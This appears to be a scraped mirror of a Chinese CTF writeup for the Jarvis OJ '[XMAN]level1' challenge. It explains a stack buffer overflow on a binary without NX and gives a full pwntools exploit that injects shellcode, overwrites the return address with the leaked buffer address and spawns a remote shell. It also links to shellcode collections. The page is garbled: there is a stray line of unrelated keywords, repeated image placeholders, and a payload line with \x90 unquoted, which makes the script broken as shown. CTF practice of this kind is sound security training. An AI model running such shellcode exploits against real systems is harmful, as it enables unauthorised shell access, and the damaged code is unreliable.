1. 程式人生 > >Jarvis OJ - [XMAN]level1 - Writeup——簡單shellcode利用

Jarvis OJ - [XMAN]level1 - Writeup——簡單shellcode利用

adding lan raft 截取 eight .sh close ott 作者

100分的pwn

技術分享圖片

簡單查看一下,果然還是比較簡單的

技術分享圖片

技術分享圖片

放到ida中查看一下,有明顯的溢出函數,並且在函數中打印出了字符串的地址,並且字符串比較長,沒有NX保護

所以我們很容易想到構造shellcode,在棧中執行shellcode拿shell權限

shellcode是一段惡意代碼,在沒有NX保護程序中,可能作為輸入而寫進棧,之後運行到此處時可以執行shellcode指令從而達到目的

所以我們先截取buf的地址,在buf中寫入奪shell的shellcode,之後再用buf的地址覆蓋函數返回地址

從而執行shellcode獲取目標shell

從abo偷來棧幀示意圖一張圖,如有侵權,打死我也不刪

技術分享圖片

#!user/bin/env python
# encoding:utf-8

from pwn import *
io = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh())
buffer=io.recvline()[14:-2]
buf_addr = int(buffer,16)
payload = shellcode + \x90 * (0x88+0x4-len(shellcode)) + p32(buf_addr)
io.sendline(payload)
io.interactive()
io.close()

技術分享圖片

記兩個空手套shellcode的網站

http://shell-storm.org/shellcode/

https://www.exploit-db.com/shellcode/




作者:辣雞小譜尼
出處:http://www.cnblogs.com/WangAoBo/
如有轉載,榮幸之至!請隨手標明出處;

Jarvis OJ - [XMAN]level1 - Writeup——簡單shellcode利用